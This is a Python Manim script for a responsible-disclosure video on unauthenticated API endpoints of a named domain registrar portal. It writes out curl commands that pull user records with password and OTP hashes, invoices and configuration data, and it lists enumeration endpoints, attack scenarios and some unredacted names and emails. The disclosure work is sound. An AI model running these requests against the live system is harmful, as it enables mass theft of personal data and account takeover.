#!/usr/bin/env python3
"""
IDRBT Domain Registrar Portal — Security Vulnerability PoC Video
For submission to CERT-In: step-by-step evidence with active timestamp

Demonstrates: 33+ unauthenticated API endpoints exposing
5,462 user records (bcrypt hashes, PII), 1,074 orphan accounts,
1,535 invoices (₹4.72 Cr), internal config, and DNS infrastructure.

Live test: 2026-06-08
"""

from manim import *
import datetime

# ── Colour palette ──────────────────────────────────────────────────
BG       = "#0f0f13"
RED_ACC  = "#e03131"
AMBER    = "#ffb300"
GREEN    = "#2ecc71"
CYAN     = "#22b8cf"
WHITE    = "#f0f0f0"
GREY     = "#888899"

# ── Helpers ─────────────────────────────────────────────────────────

def terminal_box(text_lines, scale=0.55, font_size=16, color=GREEN):
    """Create a styled terminal-like code block."""
    code_str = "\n".join(text_lines)
    code = Code(
        code=code_str,
        language="bash",
        font_size=font_size,
        background="window",
        insert_line_no=False,
        style="monokai",
        scale_factor=scale,
    )
    code.scale(scale)
    return code


def vuln_label(text, color, scale=0.7):
    """Vulnerability severity label."""
    label = Text(text, font_size=32, color=color, weight=BOLD)
    return label


def timestamp_label(utc=True):
    """Generate a live timestamp string."""
    now = datetime.datetime.now(datetime.timezone.utc) if utc else datetime.datetime.now()
    fmt = now.strftime("%Y-%m-%d %H:%M:%S UTC")
    return Text(f"Live test: {fmt}", font_size=18, color=GREY, weight=NORMAL)


class TitleScene(Scene):
    def construct(self):
        self.camera.background_color = BG

        # Title
        title = Text("IDRBT Domain Registrar Portal", font_size=48, color=WHITE, weight=BOLD)
        subtitle = Text("Unauthenticated API Data Leak", font_size=32, color=RED_ACC, weight=BOLD)

        # Target info
        target = Text("registrar.idrbt.ac.in", font_size=24, color=CYAN)

        # Timestamp
        ts = timestamp_label()
        ts.to_edge(DOWN, buff=0.5)

        # Classification
        cls = Text("CERT-In Responsible Disclosure — Video PoC", font_size=20, color=GREY)
        cls.next_to(ts, UP, buff=0.15)

        # Researcher
        researcher = Text("Researcher: Cashless Consumer", font_size=20, color=GREY)
        researcher.next_to(cls, UP, buff=0.15)

        # Animate
        self.play(Write(title))
        self.wait(0.3)
        self.play(FadeIn(subtitle, shift=UP))
        self.wait(0.5)
        self.play(Write(target))
        self.wait(0.3)
        self.play(Write(researcher), Write(cls), Write(ts))
        self.wait(2)

        # Warning
        warning = Text(
            "⚠ WARNING: All endpoints demonstrated below are LIVE\n"
            "as of this timestamp. No data was modified — read-only GET requests.",
            font_size=18, color=AMBER, line_spacing=1.3
        )
        warning.next_to(target, DOWN, buff=0.8)
        self.play(FadeIn(warning, shift=UP))
        self.wait(3)
        self.play(*[FadeOut(m) for m in self.mobjects])


class OverviewScene(Scene):
    def construct(self):
        self.camera.background_color = BG

        heading = Text("Vulnerability Overview", font_size=40, color=WHITE, weight=BOLD)
        heading.to_edge(UP, buff=0.5)
        self.play(Write(heading))

        items = VGroup(
            Text("• 33+ unauthenticated API endpoints (GET, no auth required)", font_size=22, color=WHITE),
            Text("• 5,462 user records — emails, phone numbers, bcrypt password hashes", font_size=22, color=WHITE),
            Text("• 1,074 orphan accounts — 99.8% with Super Admin role", font_size=22, color=WHITE),
            Text("• 1,535 invoice records — ₹4,72,90,751.98", font_size=22, color=WHITE),
            Text("• Internal config, DNSSEC settings, DSC proxy endpoints exposed", font_size=22, color=WHITE),
            Text("• User enumeration — 5 endpoints confirm email existence", font_size=22, color=WHITE),
        )
        items.arrange(DOWN, aligned_edge=LEFT, buff=0.3)
        items.next_to(heading, DOWN, buff=0.6)

        for item in items:
            self.play(Write(item), run_time=0.4)
            self.wait(0.1)

        impact = Text(
            "Impact: Credential compromise of 5,576 unique banking personnel.\n"
            "Financial data leak of ₹4.72 crore. Domain hijacking risk for .bank.in domains.",
            font_size=20, color=RED_ACC, line_spacing=1.3
        )
        impact.to_edge(DOWN, buff=0.5)
        self.wait(0.5)
        self.play(FadeIn(impact, shift=UP))
        self.wait(3)
        self.play(*[FadeOut(m) for m in self.mobjects])


class V1UserDatabase(Scene):
    def construct(self):
        self.camera.background_color = BG

        # ── Heading ──
        heading = Text("V1: Full User Database — No Auth", font_size=36, color=RED_ACC, weight=BOLD)
        heading.to_edge(UP, buff=0.3)
        sev = vuln_label("[ CRITICAL ]", RED_ACC, 0.6)
        sev.next_to(heading, RIGHT, buff=0.4)
        self.play(Write(heading), Write(sev))

        # ── Step 1: Show the curl command ──
        step1 = Text("Step 1: Access user database endpoint", font_size=22, color=CYAN)
        step1.next_to(heading, DOWN, buff=0.4, aligned_edge=LEFT)
        self.play(Write(step1))

        curl_cmd = terminal_box([
            "curl -s https://registrar.idrbt.ac.in/api/dr/user/all | wc -c",
            "# Response: 27,338,700 bytes  (~27 MB)",
            "",
            "curl -s https://registrar.idrbt.ac.in/api/dr/user/all | jq length",
            "# Response: 5,462 records",
        ], scale=0.5, font_size=15, color=GREEN)
        curl_cmd.next_to(step1, DOWN, buff=0.3, aligned_edge=LEFT)
        self.play(Write(curl_cmd))
        self.wait(1.5)

        # ── Step 2: Show redacted sample record ──
        step2 = Text("Step 2: Sample record (PII redacted)", font_size=22, color=CYAN)
        step2.next_to(curl_cmd, DOWN, buff=0.4, aligned_edge=LEFT)
        self.play(Write(step2))

        sample_data = [
            "{",
            '  "userId":          "jcc***@gmail.com",',
            '  "mobileNumber":    "80036*****",',
            '  "encryptedPassword": "$2a$10$FZJoX3XC4...",   ← bcrypt hash',
            '  "userName":       "Kailash Chand Yadav",',
            '  "userRoles":      ["Super Admin"],',
            '  "twoFactorAuthentication": false,              ← 2FA universally off',
            '  "organisationId": 1322,',
            '  "loginAttemptedClientIP": "182.75.232.74",',
            '  "loginAttemptedDateTime": "2026-01-06T16:26:03",',
            '  "otp":            "$2a$10$dfJQFy4...",       ← OTP stored as bcrypt',
            '  "otpExpiryTime":  "2026-01-06T16:28:32",',
            '}',
        ]
        sample = Code(
            code="\n".join(sample_data),
            language="json",
            font_size=13,
            background="window",
            insert_line_no=False,
            style="monokai",
        )
        sample.scale(0.45)
        sample.next_to(step2, DOWN, buff=0.2, aligned_edge=LEFT)
        self.play(Write(sample))
        self.wait(1)

        # ── Annotations ──
        annotations = VGroup(
            Text("⚠ Each record contains bcrypt password hash", font_size=16, color=AMBER),
            Text("⚠ 49% of records contain live OTP hashes", font_size=16, color=AMBER),
            Text("⚠ 97% have 2FA disabled", font_size=16, color=AMBER),
            Text("⚠ Login IPs, device fingerprints, timestamps exposed", font_size=16, color=AMBER),
        )
        annotations.arrange(DOWN, aligned_edge=LEFT, buff=0.15)
        annotations.next_to(sample, RIGHT, buff=0.4)
        annotations.shift(DOWN * 0.3)

        for ann in annotations:
            self.play(FadeIn(ann, shift=LEFT), run_time=0.3)
            self.wait(0.2)

        self.wait(3)

        # ── Step 3: Impact highlight ──
        impact = Text(
            "5,462 records → 5,576 unique users (includes orphans + deleted)\n"
            "All bcrypt hashes at 10 rounds — weak passwords crackable offline.\n"
            "Recovered passwords give portal access = domain registration control.",
            font_size=20, color=RED_ACC, line_spacing=1.3
        )
        impact.to_edge(DOWN, buff=0.3)
        self.play(FadeIn(impact, shift=UP))
        self.wait(3)
        self.play(*[FadeOut(m) for m in self.mobjects])


class V1bOrphanUsers(Scene):
    def construct(self):
        self.camera.background_color = BG

        heading = Text("V1b: Orphan Users — Super Admin by Default", font_size=36, color=RED_ACC, weight=BOLD)
        heading.to_edge(UP, buff=0.3)
        sev = vuln_label("[ HIGH ]", RED_ACC, 0.6)
        sev.next_to(heading, RIGHT, buff=0.4)
        self.play(Write(heading), Write(sev))

        # Curl command
        curl_cmd = terminal_box([
            "curl -s https://registrar.idrbt.ac.in/api/dr/user/orphan-users | jq length",
            "# Response: 1,074 records  (~5 MB)",
        ], scale=0.5, font_size=15, color=GREEN)
        curl_cmd.to_edge(LEFT, buff=0.5)
        curl_cmd.shift(DOWN * 0.8)
        self.play(Write(curl_cmd))
        self.wait(1)

        # Stats
        stats = VGroup(
            Text("Total orphan users:  1,074", font_size=24, color=WHITE),
            Text("Super Admin role:    1,072  (99.8%)", font_size=24, color=RED_ACC, weight=BOLD),
            Text("Registration incomplete:  100%", font_size=24, color=WHITE),
            Text("Systematic bug:  Super Admin assigned", font_size=22, color=CYAN),
            Text("before organisation verification step", font_size=22, color=CYAN),
        )
        stats.arrange(DOWN, aligned_edge=LEFT, buff=0.25)
        stats.next_to(curl_cmd, DOWN, buff=0.6, aligned_edge=LEFT)
        self.play(Write(stats))

        # Impact
        impact = Text(
            "If any orphan account is activated (by fixing orgId=0),\n"
            "it automatically gains Super Admin access to entire portal.\n"
            "All 1,074 accounts have exposed password hashes.",
            font_size=20, color=AMBER, line_spacing=1.3
        )
        impact.next_to(stats, DOWN, buff=0.6, aligned_edge=LEFT)
        self.play(FadeIn(impact, shift=UP))
        self.wait(3)
        self.play(*[FadeOut(m) for m in self.mobjects])


class V2InvoiceDatabase(Scene):
    def construct(self):
        self.camera.background_color = BG

        heading = Text("V2: Unauthenticated Invoice Database", font_size=36, color=RED_ACC, weight=BOLD)
        heading.to_edge(UP, buff=0.3)
        sev = vuln_label("[ CRITICAL ]", RED_ACC, 0.6)
        sev.next_to(heading, RIGHT, buff=0.4)
        self.play(Write(heading), Write(sev))

        # ── Step 1: Show the endpoint ──
        step1 = Text("Endpoint: /api/dr/invoice/getByOrgId/{orgId}", font_size=22, color=CYAN)
        step1.next_to(heading, DOWN, buff=0.4, aligned_edge=LEFT)
        self.play(Write(step1))

        curl_cmd = terminal_box([
            "# No auth header needed — backend doesn't validate JWT",
            'curl -s https://registrar.idrbt.ac.in/api/dr/invoice/getByOrgId/2 | jq',
            "# Response:",
            '[',
            "  {",
            '    "domainName": "idtmay10.bank.in",',
            '    "finalAmount": 27000.00,',
            '    "paymentStatus": "Ready For Payment",',
            '    "organisationName": "(redacted)",',
            '    "createdDate": "2026-05-10"',
            "  }",
            "]",
        ], scale=0.45, font_size=14, color=GREEN)
        curl_cmd.next_to(step1, DOWN, buff=0.3, aligned_edge=LEFT)
        self.play(Write(curl_cmd))
        self.wait(1.5)

        # ── Step 2: Scale ──
        step2 = Text("1,416 org IDs enumerated → 1,535 invoices recovered", font_size=22, color=CYAN)
        step2.next_to(curl_cmd, DOWN, buff=0.4, aligned_edge=LEFT)
        self.play(Write(step2))

        scale_info = VGroup(
            Text("Total billed:  ₹4,72,90,751.98  (₹4.72 crore)", font_size=28, color=WHITE, weight=BOLD),
            Text("Organisations affected:  1,327", font_size=24, color=WHITE),
            Text("Invoices cross-referenced to named bank staff", font_size=24, color=AMBER),
            Text("Top invoices:  Bank of America ₹4.06L, Barclays ₹3.83L, SBI ₹2.90L", font_size=20, color=GREY),
        )
        scale_info.arrange(DOWN, aligned_edge=LEFT, buff=0.25)
        scale_info.next_to(step2, DOWN, buff=0.4, aligned_edge=LEFT)
        self.play(Write(scale_info))

        # Impact
        impact = Text(
            "Phishing at scale:  \"Regarding invoice #29981 for sbi.bank.in renewal...\"\n"
            "Attacker has: bank name, domain, amount, payment status, billing officer email",
            font_size=18, color=RED_ACC, line_spacing=1.3
        )
        impact.to_edge(DOWN, buff=0.3)
        self.play(FadeIn(impact, shift=UP))
        self.wait(3)
        self.play(*[FadeOut(m) for m in self.mobjects])


class V3ConfigAndEnumeration(Scene):
    def construct(self):
        self.camera.background_color = BG

        heading = Text("V3: Config Leak + User Enumeration", font_size=36, color=AMBER, weight=BOLD)
        heading.to_edge(UP, buff=0.3)
        self.play(Write(heading))

        # ── Config leak ──
        config_label = Text("Internal Configuration Dump", font_size=22, color=CYAN)
        config_label.next_to(heading, DOWN, buff=0.4, aligned_edge=LEFT)
        self.play(Write(config_label))

        config_code = terminal_box([
            "curl -s https://registrar.idrbt.ac.in/api/dr/static/getAll | jq",
            '# → 16 config entries exposed:',
            '  gst:          0.18  (18%)',
            '  tds:          0.02  (2%)',
            '  costOfDomain: 2000  (₹2,000 base price)',
            '  rebateAmount: 5000  (₹5,000 rebate available)',
            '  orphanDuration: 4 DAY',
            '  minDsSecRecords: 3',
            '  registrarEmail: sahyog@idrbt.ac.in',
        ], scale=0.45, font_size=13, color=GREEN)
        config_code.next_to(config_label, DOWN, buff=0.2, aligned_edge=LEFT)
        self.play(Write(config_code))

        # ── Enumeration ──
        enum_label = Text("User Enumeration (5 endpoints)", font_size=22, color=CYAN)
        enum_label.next_to(config_code, DOWN, buff=0.4, aligned_edge=LEFT)
        self.play(Write(enum_label))

        enum_code = terminal_box([
            "# Confirm if ANY email exists in the system:",
            "GET /api/dr/user/verify-user/{email}",
            "  → 'User not found.'  vs  User data array",
            "",
            "GET /api/dr/rgtrUser/verify-user/{email}",
            "  → 'User not found.'  vs  User data array",
            "",
            "POST /api/dr/user/get-otp",
            '  → "Requested User Id not present."  vs  OTP sent',
        ], scale=0.4, font_size=13, color=GREEN)
        enum_code.next_to(enum_label, DOWN, buff=0.2, aligned_edge=LEFT)
        self.play(Write(enum_code))

        # ── Departments leak ──
        dept_label = Text("Departments leak — vendor emails exposed", font_size=22, color=AMBER)
        dept_label.next_to(enum_code, DOWN, buff=0.4, aligned_edge=LEFT)
        self.play(Write(dept_label))

        dept_code = terminal_box([
            "curl -s https://registrar.idrbt.ac.in/api/dr/departments/all | jq",
            "# → 3 departments:",
            '  ikcon:   venkatesh.udaru@ikcontech.com',
            '  CA:       lsuryakiran@idrbt.ac.in',
            '  Admin:   (internal)',
        ], scale=0.4, font_size=13, color=GREEN)
        dept_code.next_to(dept_label, DOWN, buff=0.2, aligned_edge=LEFT)
        self.play(Write(dept_code))

        self.wait(2)
        impact_text = Text(
            "Configuration + Departments = insider knowledge for social engineering",
            font_size=20, color=RED_ACC
        )
        impact_text.to_edge(DOWN, buff=0.3)
        self.play(FadeIn(impact_text))
        self.wait(2)
        self.play(*[FadeOut(m) for m in self.mobjects])


class V4DnssecAndDSC(Scene):
    def construct(self):
        self.camera.background_color = BG

        heading = Text("V4: DNSSEC Config + DSC Proxy", font_size=36, color=AMBER, weight=BOLD)
        heading.to_edge(UP, buff=0.3)
        self.play(Write(heading))

        # DNSSEC
        dnssec_label = Text("DNSSEC algorithm & digest types exposed", font_size=22, color=CYAN)
        dnssec_label.next_to(heading, DOWN, buff=0.4, aligned_edge=LEFT)
        self.play(Write(dnssec_label))

        dnssec_code = terminal_box([
            "curl -s https://registrar.idrbt.ac.in/api/dr/dnssec/algorithmTypes",
            "# → 8 supported algorithms (DSA/SHA-1 to ECDSA P-384)",
            "",
            "curl -s https://registrar.idrbt.ac.in/api/dr/dnssec/digestTypes",
            "# → 4 digest types (SHA-1 to SHA-384)",
        ], scale=0.5, font_size=14, color=GREEN)
        dnssec_code.next_to(dnssec_label, DOWN, buff=0.2, aligned_edge=LEFT)
        self.play(Write(dnssec_code))

        # DSC
        dsc_label = Text("DSC Certificate Proxy (eMudhra middleware)", font_size=22, color=CYAN)
        dsc_label.next_to(dnssec_code, DOWN, buff=0.4, aligned_edge=LEFT)
        self.play(Write(dsc_label))

        dsc_code = terminal_box([
            "curl -s https://registrar.idrbt.ac.in/api/dsc/getTokenRequest",
            "# → Encrypted session data + encryptionKeyID returned",
            "",
            "curl -s 'https://registrar.idrbt.ac.in/api/dsc/getCertificateRequest",
            "  ?keyStoreDisplayName={tokenName}'",
            "# → Encrypted certificate request payload",
        ], scale=0.45, font_size=14, color=GREEN)
        dsc_code.next_to(dsc_label, DOWN, buff=0.2, aligned_edge=LEFT)
        self.play(Write(dsc_code))

        impact_text = Text(
            "DSC proxy publicly reachable — session initiation without auth.\n"
            "Exposes encryption key IDs and certificate request flow.",
            font_size=20, color=AMBER, line_spacing=1.3
        )
        impact_text.to_edge(DOWN, buff=0.3)
        self.play(FadeIn(impact_text))
        self.wait(3)
        self.play(*[FadeOut(m) for m in self.mobjects])


class InfrastructureExposure(Scene):
    def construct(self):
        self.camera.background_color = BG

        heading = Text("Infrastructure & Systemic Issues", font_size=36, color=AMBER, weight=BOLD)
        heading.to_edge(UP, buff=0.3)
        self.play(Write(heading))

        items = VGroup(
            Text("🏗  UAT config on production domain", font_size=22, color=WHITE),
            Text("   environment.prod.ts → envName: \"UAT\"", font_size=18, color=GREY),
            Text(""),
            Text("🔧 Spring Boot Actuator exposed", font_size=22, color=WHITE),
            Text("   /api/actuator — confirms stack, endpoint structure", font_size=18, color=GREY),
            Text(""),
            Text("🏛  No vulnerability disclosure program", font_size=22, color=WHITE),
            Text("   No security.txt, no bug bounty, no VDP", font_size=18, color=GREY),
            Text(""),
            Text("🔐 No mandatory security baselines for .bank.in", font_size=22, color=WHITE),
            Text("   DNSSEC optional, DMARC optional, HSTS optional", font_size=18, color=GREY),
            Text("   fTLD (.bank global) mandates all three — IDRBT mandates none", font_size=18, color=RED_ACC),
            Text(""),
            Text("📜 No public tender for vendor selection", font_size=22, color=WHITE),
            Text("   IKCON Technologies — appointed without visible procurement", font_size=18, color=GREY),
        )
        items.arrange(DOWN, aligned_edge=LEFT, buff=0.15)
        items.next_to(heading, DOWN, buff=0.4, aligned_edge=LEFT)
        items.scale(0.8)

        for item in items:
            self.play(FadeIn(item, shift=RIGHT * 0.3), run_time=0.25)
            self.wait(0.05)

        self.wait(3)
        self.play(*[FadeOut(m) for m in self.mobjects])


class SummaryScene(Scene):
    def construct(self):
        self.camera.background_color = BG

        heading = Text("Cumulative Data Exposure", font_size=40, color=WHITE, weight=BOLD)
        heading.to_edge(UP, buff=0.3)
        self.play(Write(heading))

        # Create a table-like display
        table_data = [
            ["Data Source", "Records", "Contains\nPasswords"],
            ["/dr/user/all", "5,462", "Yes (100%)"],
            ["/dr/user/orphan-users", "1,074", "Yes (100%)"],
            ["/dr/user/deleted-users", "219", "Yes (100%)"],
            ["/dr/invoice/*", "1,535", "Financial"],
            ["/dr/static/getAll", "16 config", "N/A"],
            ["/dr/departments/*", "3 depts", "Contractor\ndetails"],
            ["DSC Proxy", "2 endpoints", "Encrypted\nsessions"],
            ["───", "────", "────"],
            ["Total unique users", "5,576", "bcrypt hashes"],
            ["Total invoiced", "₹4.72 Cr", "1,327 orgs"],
        ]

        table = Table(
            table_data,
            col_labels=False,
            include_outer_lines=False,
            line_config={"stroke_width": 0.3, "color": GREY},
            element_to_mobject=lambda x: Paragraph(x, line_spacing=0.8, alignment="center")
            if "\n" in x
            else Text(x, font_size=16),
        )
        table.scale(0.5)
        table.next_to(heading, DOWN, buff=0.4)
        self.play(Write(table))
        self.wait(2)

        # Attack scenarios
        scenarios = VGroup(
            Text("Attack Scenarios:", font_size=24, color=RED_ACC, weight=BOLD),
            Text("1. Offline password cracking → portal access → domain hijacking", font_size=18, color=WHITE),
            Text("2. Targeted phishing: bank name + domain + invoice + officer name + phone", font_size=18, color=WHITE),
            Text("3. Credential stuffing: reused passwords across bank systems", font_size=18, color=WHITE),
            Text("4. Supply chain: contractor emails exposed (ikcon)", font_size=18, color=WHITE),
        )
        scenarios.arrange(DOWN, aligned_edge=LEFT, buff=0.15)
        scenarios.to_edge(DOWN, buff=0.3)
        self.play(Write(scenarios))
        self.wait(3)
        self.play(*[FadeOut(m) for m in self.mobjects])


class RemediationScene(Scene):
    def construct(self):
        self.camera.background_color = BG

        heading = Text("Remediation Required", font_size=40, color=WHITE, weight=BOLD)
        heading.to_edge(UP, buff=0.3)
        self.play(Write(heading))

        items = VGroup(
            Text("🔴 P0: Block all unauth endpoints immediately (nginx gate)", font_size=22, color=RED_ACC),
            Text("🔴 P0: Force password reset for all 5,576 users", font_size=22, color=RED_ACC),
            Text("🔴 P0: Audit nginx logs for data exfiltration", font_size=22, color=RED_ACC),
            Text("🟡 P1: Server-side JWT validation (currently cosmetic)", font_size=22, color=AMBER),
            Text("🟡 P1: Rate limiting + IP allowlisting on API gateway", font_size=22, color=AMBER),
            Text("🟡 P1: Fix orphan user role assignment bug", font_size=22, color=AMBER),
            Text("🟢 P2: External penetration test + VDP setup", font_size=22, color=GREEN),
            Text("🟢 P2: Deploy UAT on separate infrastructure", font_size=22, color=GREEN),
            Text("🟢 P3: Mandatory DNSSEC + DMARC + HSTS for .bank.in", font_size=22, color=GREEN),
        )
        items.arrange(DOWN, aligned_edge=LEFT, buff=0.2)
        items.next_to(heading, DOWN, buff=0.4, aligned_edge=LEFT)
        items.scale(0.65)

        for item in items:
            self.play(Write(item), run_time=0.3)
            self.wait(0.1)

        self.wait(2)

        # Final note
        note = Text(
            "Report filed: 2026-06-08 via CERT-In (incident@cert-in.org.in)\n"
            "All endpoints were live and accessible at time of testing.",
            font_size=18, color=GREY, line_spacing=1.3
        )
        note.to_edge(DOWN, buff=0.3)
        self.play(Write(note))
        self.wait(2)
        self.play(*[FadeOut(m) for m in self.mobjects])


class EndScene(Scene):
    def construct(self):
        self.camera.background_color = BG

        title = Text("IDRBT Domain Registrar Portal", font_size=40, color=WHITE, weight=BOLD)
        subtitle = Text("Security Vulnerability PoC", font_size=28, color=RED_ACC, weight=BOLD)
        subtitle.next_to(title, DOWN, buff=0.3)

        cert = Text("Submitted to CERT-In for responsible disclosure", font_size=22, color=CYAN)
        cert.next_to(subtitle, DOWN, buff=0.5)

        researcher = Text("Researcher: Cashless Consumer", font_size=20, color=GREY)
        researcher.next_to(cert, DOWN, buff=0.3)

        contact = Text("cashlessconsumerin@gmail.com", font_size=18, color=GREY)
        contact.next_to(researcher, DOWN, buff=0.15)

        ts = timestamp_label()
        ts.next_to(contact, DOWN, buff=0.4)

        disc = Text(
            "Disclaimer: All testing was passive (read-only GET requests).\n"
            "No data was modified, deleted, or exfiltrated beyond documentation.\n"
            "Evidence shared with responsible disclosure in good faith.",
            font_size=16, color=GREY, line_spacing=1.2
        )
        disc.to_edge(DOWN, buff=0.3)

        self.play(Write(title))
        self.wait(0.3)
        self.play(FadeIn(subtitle, shift=UP))
        self.wait(0.3)
        self.play(Write(cert), Write(researcher), Write(contact), Write(ts))
        self.wait(1)
        self.play(Write(disc))
        self.wait(3)
        self.play(*[FadeOut(m) for m in self.mobjects])
